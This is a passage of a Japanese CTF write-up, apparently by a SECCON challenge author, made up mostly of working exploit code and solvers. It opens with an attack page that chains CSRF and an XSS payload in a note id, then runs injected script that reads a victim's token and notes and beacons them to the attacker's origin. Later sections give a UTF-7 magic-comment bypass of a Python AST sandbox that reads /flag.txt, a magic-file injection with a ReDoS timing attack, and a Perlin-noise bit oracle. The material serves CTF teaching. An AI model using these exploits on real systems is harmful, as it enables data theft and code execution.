1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <body > <script > const sleep = (msec ) => new Promise ((resolve ) => setTimeout (resolve, msec)); const deleteNote = (url, noteId ) => { const form = document .createElement ("form" ); form.action = url; form.method = "post" ; form.target = "_blank" ; const input = document .createElement ("input" ); input.name = "noteId" ; input.value = noteId; form.appendChild (input); document .body .appendChild (form); form.submit (); }; const evilJs = ` (async () => { const { token } = await (await fetch("/api/token")).json(); const noteIds = await ( await fetch("/api/notes", { headers: { "X-Token": token }, }) ).json(); const notes = await Promise.all( noteIds.map((id) => fetch("/api/notes/" + id, { headers: { "X-Token": token }, }).then((res) => res.text()) ) ); navigator.sendBeacon("${location.origin} ", notes.join("\\n")); })(); ` ; const main = async ( ) => { const params = new URLSearchParams (location.search ); const baseUrl = params.get ("baseUrl" ); const noteId = params.get ("noteId" ); { const url = `${baseUrl} /api/notes/delete` ; deleteNote (url, noteId); } await sleep (1000 ); let evilWindow; { const url = `${baseUrl} /api/notes/${noteId} ` ; evilWindow = open (url); } await sleep (1000 ); { evilWindow.location = baseUrl; } await sleep (1000 ); { evilWindow.location = `${location.origin} /back.html?n=2` ; } await sleep (1000 ); { evilWindow.postMessage (evilJs, baseUrl); } }; main (); </script > </body >
public/back.html
:
1 2 3 4 <script > const n = parseInt (new URLSearchParams (location.search ).get ("n" )); history.go (-n); </script >
index.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 const path = require ("node:path" );const fail = (message ) => { console .error (message); return process.exit (1 ); }; const SECCON_BASE_URL = process.env .SECCON_BASE_URL || fail ("No SECCON_BASE_URL" );const ATTACK_BASE_URL = process.env .ATTACK_BASE_URL || fail ("No ATTACK_BASE_URL" );if (!ATTACK_BASE_URL .startsWith ("http://" )) { fail ("Invalid ATTACK_BASE_URL: the CSRF will fail" ); } const LISTEN_PORT = process.env .PORT || "8080" ;const sleep = (msec ) => new Promise ((resolve ) => setTimeout (resolve, msec));const exploit = async ( ) => { const noteId = `<img src=0 onerror="window.addEventListener('message',e=>eval(e.data))">` + ".html" ; if (noteId.length > 100 ) { fail (`Too long id: ${noteId} ` ); } if ( noteId.includes (".." ) || noteId.includes ("/" ) || noteId.includes ("\\" ) || noteId.includes ("%" ) ) { fail (`Invalid id: ${noteId} ` ); } const baseUrl = "http://web:3000" ; const reportedUrl = `${ATTACK_BASE_URL} /index.html?${new URLSearchParams({ baseUrl, noteId, })} ` ; const res = await ( await fetch (`${SECCON_BASE_URL} /report` , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ url : reportedUrl, }), }) ).text (); console .log (res); }; const fastify = require ("fastify" )();fastify.register (require ("@fastify/static" ), { root : path.join (__dirname, "public" ), }); fastify.post ("/" , async (req, reply) => { console .log (req.body ); process.exit (0 ); }); const start = async ( ) => { fastify.listen ( { port : LISTEN_PORT , host : "0.0.0.0" }, async (err, address) => { if (err) { fastify.log .error (err); process.exit (1 ); } await sleep (1 * 1000 ); await exploit (); await sleep (10 * 1000 ); fail ("Failed" ); } ); }; start ();
Flag 1 SECCON{hack3rs_po11ute_3verything_by_v4ri0us_meanS}
[misc] latexipy Description:
Latexify as a Service
1 nc latexipy.seccon.games 2337
Overview 関数を渡すとそのLaTeX \LaTeX L A T E X のexpressionが返ってくるサービスが与えられます。
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ nc latexipy.seccon.games 2337 Latexify as a Service! E.g. `` ` def solve(a, b, c): return (-b + math.sqrt(b**2 - 4*a*c)) / (2*a) `` ` ref. https://github.com/google/latexify_py/blob/v0.1.1/examples/equation.ipynb Input your function (the last line must start with __EOF__): def f(x, y, z): return (x + y)*z __EOF__ Result: \mathrm{f}(x, y, z) \triangleq (x + y)z
ソースコード:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import sysimport astimport reimport tempfilefrom importlib import utildef get_fn_name (source: str ) -> str | None : root = ast.parse(source) if type (root) is not ast.Module: return None if len (root.body) != 1 : return None fn = root.body[0 ] if type (fn) is not ast.FunctionDef: return None fn.body.clear() if not re.fullmatch(r"def \w+\((\w+(, \w+)*)?\):" , ast.unparse(fn)): return None return str (fn.name) print (""" Latexify as a Service! E.g. `` ` def solve(a, b, c): return (-b + math.sqrt(b**2 - 4*a*c)) / (2*a) `` ` ref. https://github.com/google/latexify_py/blob/v0.1.1/examples/equation.ipynb Input your function (the last line must start with __EOF__): """ .strip(), flush=True )source = "" while True : line = sys.stdin.readline() if line.startswith("__EOF__" ): break source += line name = get_fn_name(source) if name is None : print ("Invalid source" ) exit(1 ) source += f""" import latexify __builtins__["print"](latexify.get_latex({name} )) """ with tempfile.NamedTemporaryFile(suffix=".py" ) as file: file.write(source.encode()) file.flush() print () print ("Result:" ) spec = util.spec_from_file_location("tmp" , file.name) spec.loader.exec_module(util.module_from_spec(spec))
フラグはサーバ上の/flag.txt
に置かれています。
Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def get_fn_name (source: str ) -> str | None : root = ast.parse(source) if type (root) is not ast.Module: return None if len (root.body) != 1 : return None fn = root.body[0 ] if type (fn) is not ast.FunctionDef: return None fn.body.clear() if not re.fullmatch(r"def \w+\((\w+(, \w+)*)?\):" , ast.unparse(fn)): return None return str (fn.name)
で、ASTで制限をかけることによって簡単にRCEができないようになっています。 なんとかしてここをbypassすることはできないでしょうか?
ast.parse
の挙動を色々試してみると、どうやらコメントの情報は消えることがわかります。 ところで、Pythonにはmagic commentと呼ばれるエンコーディングを指定する機能があります:
magic commentはget_fn_name
の判定時は単なるコメントですが、
1 2 spec = util.spec_from_file_location("tmp" , file.name) spec.loader.exec_module(util.module_from_spec(spec))
ではmagic commentとして認識されるので、その解釈の差異をつくことによってbypassができそうです。
実際、UTF-7を使うと以下でbypassできます:
1 2 3 4 5 # coding: utf_7 def f(x): return x #+AAo-print(open("/flag.txt").read()) __EOF__
+AAo-
はUTF-7だと\n
の改行文字に相当するので、モジュールとしては
1 2 3 4 def f (x ): return x print (open ("/flag.txt" ).read())
として解釈されます。紀元前に流行ったXSSテクニックの応用です。
その他、raw_unicode_escape
やunicode_escape
などでもbypassが可能です。
Solver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import osimport pwnio = pwn.remote(os.getenv("SECCON_HOST" ), os.getenv("SECCON_PORT" )) assert b"+AAo-" .decode("utf_7" ) == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("/flag.txt").read()) """ .lstrip()payload += "__EOF__" io.sendlineafter(b"__EOF__):" , payload.encode()) print (io.recvall().decode())
Flag 1 SECCON{UTF7_is_hack3r_friend1y_encoding}
[misc] txtchecker Description:
I'm creating a text file checker. It still in the process of implementation...
1 sshpass -p ctf ssh -oStrictHostKeyChecking=no -oCheckHostIP=no [email protected] -p 2022
Overview ソースコードは以下のbashスクリプトです:
1 2 3 4 5 6 7 8 9 #!/bin/bash read -p "Input a file path: " filepathfile $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null exit 0
意味のある行はたったの3行!
SSHでログインすると、シェルの代わりにこのbashスクリプトが実行されます。 フラグはサーバ上の/flag.txt
に置かれています。
Solution Step 1: Magic file injection できることはfileコマンドの引数に任意文字列を指定できるだけです。
man file
を確認すると
1 2 3 4 -m, --magic-file magicfiles Specify an alternate list of files and directories containing magic. This can be a single item, or a colon-separated list. If a compiled magic file is found alongside a file or directory, it will be used instead.
のようにmagic fileを指定することができるようです。 ここをうまく指定して、好きな内容のmagic fileでフラグファイルを先頭から1文字ずつ判定することはできないでしょうか?
実は/dev/tty
や/proc/self/fd/0
などを使って任意文字列をmagic fileとして指定可能です。
-m /dev/tty /flag.txt
を入力後に
を入力してctrl+dをすることで、SECCON{x
がフラグのprefixであるかどうかの判定ができそうな雰囲気です。
ただし、与えられたbashスクリプトはfileコマンドの結果を何も出力しないため、もう1ステップなにかをする必要がありそうです。
Step 2: A time-based attack with ReDoS man magic
を確認すると
1 2 3 4 regex A regular expression match in extended POSIX regular expression syntax (like egrep). Regular expressions can take exponential time to process, and their performance is hard to predict, so their use is discouraged. When used in production environments, their performance should be carefully checked. The size of ... snip ...
という、"いかにも"利用できそうなものがあります。
はい、ReDoSが可能です。
あとはがんばってReDoSでtime-based attackしてフラグを先頭から1文字ずつ確定すればOKです。
Solver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import stringimport osimport pwnimport timeREDOS_POWER = 20 TIMEOUT = 20 SSH_CMD = f"sshpass -p ctf ssh -oStrictHostKeyChecking=no -oCheckHostIP=no ctf@{os.getenv('SECCON_HOST' )} -p {os.getenv('SECCON_PORT' )} " def get_time (rule: str ) -> bool : io = pwn.process(SSH_CMD, shell=True , stdin=pwn.PTY, raw=False ) io.sendlineafter(b"Input a file path: " , b"-m /dev/tty /flag.txt" ) io.sendline(rule.encode()) for i in range (REDOS_POWER): io.sendline(f">0 regex \\^(((((((((((((((((((((((((((((.*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*)*@ ReDoS-{i} " .encode()) io.recvuntil(f"ReDoS-{REDOS_POWER - 1 } " .encode(), timeout=TIMEOUT) io.send("\x04" ) t1 = time.time() io.recvall(timeout=TIMEOUT) t2 = time.time() io.close() return t2 - t1 def get_rule (index: int , next_chars: str ) -> str : def escape (s ): return s.replace("{" , "\\\\{" ).replace("}" , "\\\\}" ) expr = "" .join([ "\\^" , "[" , escape(next_chars), "]" ]) return f"{index} regex {expr} " CHARS = "_}" + string.ascii_letters + string.digits flag = "SECCON{" while not flag.endswith("}" ): left = 0 right = len (CHARS) while right - left > 1 : mid = (left + right)//2 t_left = get_time(get_rule(len (flag), CHARS[:mid])) t_right = get_time(get_rule(len (flag), CHARS[mid:])) print (f"{t_left = } , {t_right = } " ) if t_left > t_right: right = mid else : left = mid flag += CHARS[left] print (flag) print (f"{flag = } " )
Flag [misc] noiseccon Description:
Noise! Noise! Noise!
1 nc noiseccon.seccon.games 1337
Overview ncで接続すると、scaleX
とscaleY
のパラメータを聞かれ、それに答えると256x256の大きさの画像のbase64が返ってきます。
1 2 3 4 5 6 7 8 9 10 11 12 13 $ nc noiseccon.seccon.games 1337 _ _ _ ____ _ | \ | | ___ (_)___ ___ / ___| ___ _ __ ___ _ __ __ _| |_ ___ _ __ | \| |/ _ \| / __|/ _ \ | | _ / _ \ '_ \ / _ \ '__/ _` | __/ _ \| '__| | |\ | (_) | \__ \ __/ | |_| | __/ | | | __/ | | (_| | || (_) | | |_| \_|\___/|_|___/\___| \____|\___|_| |_|\___|_| \__,_|\__\___/|_| Flag length: 21 Image width: 256 Image height: 256 Scale x: 1 Scale y: 2 UklGRoo7AABXRUJQVlA4TH07AAAv/8A/AM0ABDHgf9pA... snip (base64 of an image data) ...5SImJZRsMGAA==
ソースコード:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 const { noise } = require ("./perlin.js" );const sharp = require ("sharp" );const crypto = require ("node:crypto" );const readline = require ("node:readline" ).promises ;const FLAG = process.env .FLAG ?? console .log ("No flag" ) ?? process.exit (1 );const WIDTH = 256 ;const HEIGHT = 256 ;console .log ( ` _ _ _ ____ _ | \\ | | ___ (_)___ ___ / ___| ___ _ __ ___ _ __ __ _| |_ ___ _ __ | \\| |/ _ \\| / __|/ _ \\ | | _ / _ \\ '_ \\ / _ \\ '__/ _\` | __/ _ \\| '__| | |\\ | (_) | \\__ \\ __/ | |_| | __/ | | | __/ | | (_| | || (_) | | |_| \\_|\\___/|_|___/\\___| \\____|\\___|_| |_|\\___|_| \\__,_|\\__\\___/|_| ` ); console .log (`Flag length: ${FLAG.length} ` );console .log (`Image width: ${WIDTH} ` );console .log (`Image height: ${HEIGHT} ` );const paddedFlag = [ ...crypto.randomBytes (8 ), ...Buffer .from (FLAG ), ...crypto.randomBytes (8 ), ]; let flagInt = 0n ;for (const b of Buffer .from (paddedFlag)) { flagInt = (flagInt << 8n ) | BigInt (b); } const generateNoise = async (scaleX, scaleY ) => { const div = (x, y ) => { const p = 4 ; return Number (BigInt .asUintN (32 + p, (x * BigInt (1 << p)) / y)) / (1 << p); }; const offsetX = div (flagInt, scaleX); const offsetY = div (flagInt, scaleY); noise.seed (crypto.randomInt (65536 )); const colors = []; for (let y = 0 ; y < HEIGHT ; y++) { for (let x = 0 ; x < WIDTH ; x++) { let v = noise.perlin2 (offsetX + x * 0.05 , offsetY + y * 0.05 ); v = (v + 1.0 ) * 0.5 ; colors.push ((v * 256 ) | 0 ); } } const image = await sharp (Uint8Array .from (colors), { raw : { width : WIDTH , height : HEIGHT , channels : 1 , }, }) .webp ({ lossless : true }) .toBuffer (); return image; }; const main = async ( ) => { const rl = readline.createInterface ({ input : process.stdin , output : process.stdout , terminal : false , }); const toBigInt = (value ) => { if (value.length > 100 ) { console .log (`Invalid value: ${value} ` ); process.exit (1 ); } const result = BigInt (value); if (result <= 0n ) { console .log (`Invalid value: ${value} ` ); process.exit (1 ); } return result; }; const query = async ( ) => { const scaleX = toBigInt (await rl.question ("Scale x: " )); const scaleY = toBigInt (await rl.question ("Scale y: " )); const image = await generateNoise (scaleX, scaleY); console .log (image.toString ("base64" )); }; await query (); rl.close (); }; main ();
https://github.com/josephg/noisejs のライブラリを用いてノイズ画像を生成して返しています。
ノイズの例:
ノイズ画像はパーリンノイズと呼ばれるアルゴリズムで生成されています。
Solution Step 1: Finding coordinates of lattice 1 2 3 4 5 6 7 8 9 10 11 12 const offsetX = div (flagInt, scaleX);const offsetY = div (flagInt, scaleY);noise.seed (crypto.randomInt (65536 )); const colors = [];for (let y = 0 ; y < HEIGHT ; y++) { for (let x = 0 ; x < WIDTH ; x++) { let v = noise.perlin2 (offsetX + x * 0.05 , offsetY + y * 0.05 ); v = (v + 1.0 ) * 0.5 ; colors.push ((v * 256 ) | 0 ); } }
から、flagInt
/scakeX
/scaleY
はノイズのoffsetにしか作用しないことがわかります。つまり、ノイズの"位置のずれ"がわかればいい感じにフラグの情報を抜き出せるかもしれません。
今回使われているパーリンノイズの実装:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 module .perlin2 = function (x, y ) { var X = Math .floor (x), Y = Math .floor (y); x = x - X; y = y - Y; X = X & 255 ; Y = Y & 255 ; var n00 = gradP[X+perm[Y]].dot2 (x, y); var n01 = gradP[X+perm[Y+1 ]].dot2 (x, y-1 ); var n10 = gradP[X+1 +perm[Y]].dot2 (x-1 , y); var n11 = gradP[X+1 +perm[Y+1 ]].dot2 (x-1 , y-1 ); var u = fade (x); return lerp ( lerp (n00, n10, u), lerp (n01, n11, u), fade (y)); };
あらかじめ与えたシード値に従って格子の各点に勾配gradP
が定まっており、(x, y)
の近傍の4つの格子点上の勾配から値がなめらかになるように補完されてparlin2(x, y)
が計算されています。取りうる値の区間は[ − 1 , 1 ] \left[-1, 1\right] [ − 1 , 1 ] です。
また、各勾配は
1 2 3 var grad3 = [new Grad (1 ,1 ,0 ),new Grad (-1 ,1 ,0 ),new Grad (1 ,-1 ,0 ),new Grad (-1 ,-1 ,0 ), new Grad (1 ,0 ,1 ),new Grad (-1 ,0 ,1 ),new Grad (1 ,0 ,-1 ),new Grad (-1 ,0 ,-1 ), new Grad (0 ,1 ,1 ),new Grad (0 ,-1 ,1 ),new Grad (0 ,1 ,-1 ),new Grad (0 ,-1 ,-1 )];
からランダムに選ばれます。今回は2次元でxy平面への射影なので、実際は
( 1 1 ) , ( − 1 1 ) , ( 1 − 1 ) , ( − 1 − 1 ) , ( 1 0 ) , ( − 1 0 ) , ( 0 1 ) , ( 0 − 1 ) \begin{pmatrix}1\\1\end{pmatrix}, \begin{pmatrix}-1\\1\end{pmatrix}, \begin{pmatrix}1\\-1\end{pmatrix}, \begin{pmatrix}-1\\-1\end{pmatrix}, \begin{pmatrix}1\\0\end{pmatrix}, \begin{pmatrix}-1\\0\end{pmatrix}, \begin{pmatrix}0\\1\end{pmatrix}, \begin{pmatrix}0\\-1\end{pmatrix} ( 1 1 ) , ( − 1 1 ) , ( 1 − 1 ) , ( − 1 − 1 ) , ( 1 0 ) , ( − 1 0 ) , ( 0 1 ) , ( 0 − 1 ) の8つです。ここで、
gradP[X+perm[Y]]
= ( 0 ± 1 ) = \begin{pmatrix}0\\ \plusmn 1\end{pmatrix} = ( 0 ± 1 ) gradP[X+1+perm[Y]]
= ( 0 ± 1 ) = \begin{pmatrix}0\\ \plusmn 1\end{pmatrix} = ( 0 ± 1 ) のときを考えてみましょう。このとき、
∀ x ∈ [ X , X + 1 ] , p e r l i n 2 ( x , Y ) = 0 \forall x\in \left[X, X+1\right], \mathtt{perlin2}(x, Y) = 0 ∀ x ∈ [ X , X + 1 ] , perlin2 ( x , Y ) = 0 が成り立ちます。なぜなら∀ x ∈ [ X , X + 1 ] \forall x\in \left[X, X+1\right] ∀ x ∈ [ X , X + 1 ] について
n00
: n 00 = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ Y − ⌊ Y ⌋ ) = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ 0 ) = 0 n_{00} = \begin{pmatrix}0\\\plusmn 1\end{pmatrix} \cdot \begin{pmatrix}x - \lfloor x \rfloor \\ Y - \lfloor Y \rfloor\end{pmatrix} = \begin{pmatrix}0\\\plusmn 1\end{pmatrix} \cdot \begin{pmatrix}x - \lfloor x \rfloor \\ 0\end{pmatrix} = 0 n 00 = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ Y − ⌊ Y ⌋ ) = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ 0 ) = 0 n10
: n 10 = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ − 1 Y − ⌊ Y ⌋ ) = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ − 1 0 ) = 0 n_{10} = \begin{pmatrix}0\\\plusmn 1\end{pmatrix} \cdot \begin{pmatrix}x - \lfloor x \rfloor -1 \\ Y - \lfloor Y \rfloor\end{pmatrix} = \begin{pmatrix}0\\\plusmn 1\end{pmatrix} \cdot \begin{pmatrix}x - \lfloor x \rfloor -1 \\ 0\end{pmatrix} = 0 n 10 = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ − 1 Y − ⌊ Y ⌋ ) = ( 0 ± 1 ) ⋅ ( x − ⌊ x ⌋ − 1 0 ) = 0 となり、さらに f a d e ( Y − ⌊ Y ⌋ ) = 0 \mathtt{fade}(Y - \lfloor Y \rfloor) = 0 fade ( Y − ⌊ Y ⌋) = 0 なので
p e r l i n 2 ( x , Y ) = l e r p ( n 00 , n 10 , f a d e ( x − ⌊ x ⌋ ) ) = l e r p ( 0 , 0 , f a d e ( x − ⌊ x ⌋ ) ) = 0 \mathtt{perlin2}(x, Y) = \mathtt{lerp}\left(n_{00}, n_{10}, \mathtt{fade}(x - \lfloor x \rfloor) \right) = \mathtt{lerp}\left(0, 0, \mathtt{fade}(x - \lfloor x \rfloor) \right) = 0 perlin2 ( x , Y ) = lerp ( n 00 , n 10 , fade ( x − ⌊ x ⌋) ) = lerp ( 0 , 0 , fade ( x − ⌊ x ⌋) ) = 0 となるためです。
逆に、これ以外のときは一般に成り立ちません。
よって、整数y 0 y_0 y 0 を固定してx x x を連続して動かしたときの各p e r l i n 2 ( x , y 0 ) \mathtt{perlin2}(x, y_0) perlin2 ( x , y 0 ) を求めたとき、この値が0 0 0 になるx x x の区間が約1 1 1 となるものがあった場合、その区間の端点(どちらでも良い)x 0 x_0 x 0 に対して( x 0 , y 0 ) (x_0, y_0) ( x 0 , y 0 ) は高い確率で格子点の1つになります。
実際に適当なコードでテストをします:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const { noise } = require ("./perlin.js" );const nodeplotlib = require ("nodeplotlib" );const crypto = require ("node:crypto" );noise.seed (crypto.randomInt (65536 )); console .log (noise);const values = [];const y0 = 0 ;for (let i = 0 ; i < 1000 ; i++) { const x = i * 0.01 ; const v = noise.perlin2 (x, y0); values.push (v); } const data = [ { x : [...values.keys ()], y : values, type : "scatter" , }, ]; nodeplotlib.plot (data);
ちょうど400〜500の区間で0が続いていることがわかります。これで"格子の位置"を特定可能です。
Step 2: An oracle for each bit 再び配布ファイルのソースコードに戻ります:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const div = (x, y ) => { const p = 4 ; return Number (BigInt .asUintN (32 + p, (x * BigInt (1 << p)) / y)) / (1 << p); }; const offsetX = div (flagInt, scaleX);const offsetY = div (flagInt, scaleY);noise.seed (crypto.randomInt (65536 )); const colors = [];for (let y = 0 ; y < HEIGHT ; y++) { for (let x = 0 ; x < WIDTH ; x++) { let v = noise.perlin2 (offsetX + x * 0.05 , offsetY + y * 0.05 ); v = (v + 1.0 ) * 0.5 ; colors.push ((v * 256 ) | 0 ); } }
noise.perlin2(offsetX + x * 0.05, offsetY + y * 0.05)
について、"格子の位置"は小数部分しか見ないため、offsetX
とoffsetY
も小数部分しか寄与しません。
このことを把握した上で、各ビットに対するオラクルを構成することでFLAG
を復元できます。 詳しくは以下のsolverを参照してください。
Solver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from concurrent.futures import ThreadPoolExecutorfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom PIL import Imageimport pwnfrom io import BytesIOimport base64import osLATTICE_SIZE = 20 with pwn.remote(os.getenv('SECCON_HOST' ), os.getenv('SECCON_PORT' )) as io: io.recvuntil(b"Flag length: " ) flag_bit_len = int (io.recvline().decode())*8 io.recvuntil(b"Image width: " ) width = int (io.recvline().decode()) io.recvuntil(b"Image height: " ) height = int (io.recvline().decode()) def get_image (scale_x, scale_y ) -> Image: io = pwn.remote(os.getenv('SECCON_HOST' ), os.getenv('SECCON_PORT' )) io.sendlineafter(b"Scale x: " , str (scale_x).encode()) io.sendlineafter(b"Scale y: " , str (scale_y).encode()) binary = base64.b64decode(io.recvline().strip().decode()) io.close() return Image.open (BytesIO(binary), formats=["webp" ]) def oracle (bit_index: int ) -> bool : scale_x = 2 **(bit_index + 1 ) scale_y = 1 for _ in range (10 ): img = get_image(scale_x, scale_y) data = list (img.getdata()) assert len (data) == width*height for y in range (0 , height, LATTICE_SIZE): cnt = 0 for x in range (width): color = data[y*width + x][0 ] if abs (color - 128 ) == 0 : cnt += 1 else : if 0 <= cnt - LATTICE_SIZE < 2 : i = (x - cnt - 2 ) % LATTICE_SIZE return i < LATTICE_SIZE/2 cnt = 0 print ("Failed" ) exit(1 ) padded_bit_len = 8 *8 flag = 0 with ThreadPoolExecutor(max_workers=8 ) as executor: bits = executor.map (oracle, range (padded_bit_len, padded_bit_len + flag_bit_len)) for index, bit in enumerate (bits): flag |= bit << index print (long_to_bytes(flag))
Flag